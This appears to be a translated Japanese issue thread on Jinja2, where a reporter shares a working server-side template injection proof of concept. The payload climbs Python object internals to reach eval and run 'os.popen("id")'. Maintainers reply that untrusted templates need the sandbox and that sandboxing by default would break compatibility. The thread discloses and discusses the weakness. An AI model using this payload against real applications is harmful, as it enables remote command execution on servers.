プロジェクトでJinja2テンプレートフレームワークを使用すると、「os.popen( 'id')」またはグローバルレジスタなしで別の関数を呼び出す方法を見つけました。
攻撃者がテンプレートのコンテンツを制御できる場合、シェルを簡単に入手できます。 それはそのようなデザインですか?
PoC:
from jinja2 import Template
content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()
このコードをpython2(2.7.10)とJinja2(2.8)でテストします。動作する場合は、ユーザーのuidを出力します...
サンドボックス化されていない環境では、信頼できないテンプレートを実行しないでください。 それがまさにサンドボックスが存在する理由です(そして正直なところ、サンドボックスがあっても、ユーザーに任意のJinjaテンプレートを提供させません)
では、このような事態を防ぐための対策が必要なのでしょうか。 ユーザーがテンプレートのコンテンツを編集できる特定のアプリケーションがあると思いますが、実際的な例はありません。
Jinja2を使用したフラスコや他のWebフレームワークでは使用できないため、defualtによるサンドボックスを使用する必要があると思います。
なぜデフォルトでサンドボックスを使用したいのですか? ほとんどの場合、とにかくコードにアクセスできない信頼できない人がテンプレートを変更することはできません。
UberでのFlask / Jinja2テンプレートインジェクションを介したリモートコード実行に関するケースがあります。
リンク: http :
後方互換性のため、デフォルトでサンドボックスを有効にすることはできません。また、ほとんどのテンプレート(Flask内)が信頼されているため、合理的ではありません。
最も参考になるコメント
サンドボックス化されていない環境では、信頼できないテンプレートを実行しないでください。 それがまさにサンドボックスが存在する理由です(そして正直なところ、サンドボックスがあっても、ユーザーに任意のJinjaテンプレートを提供させません)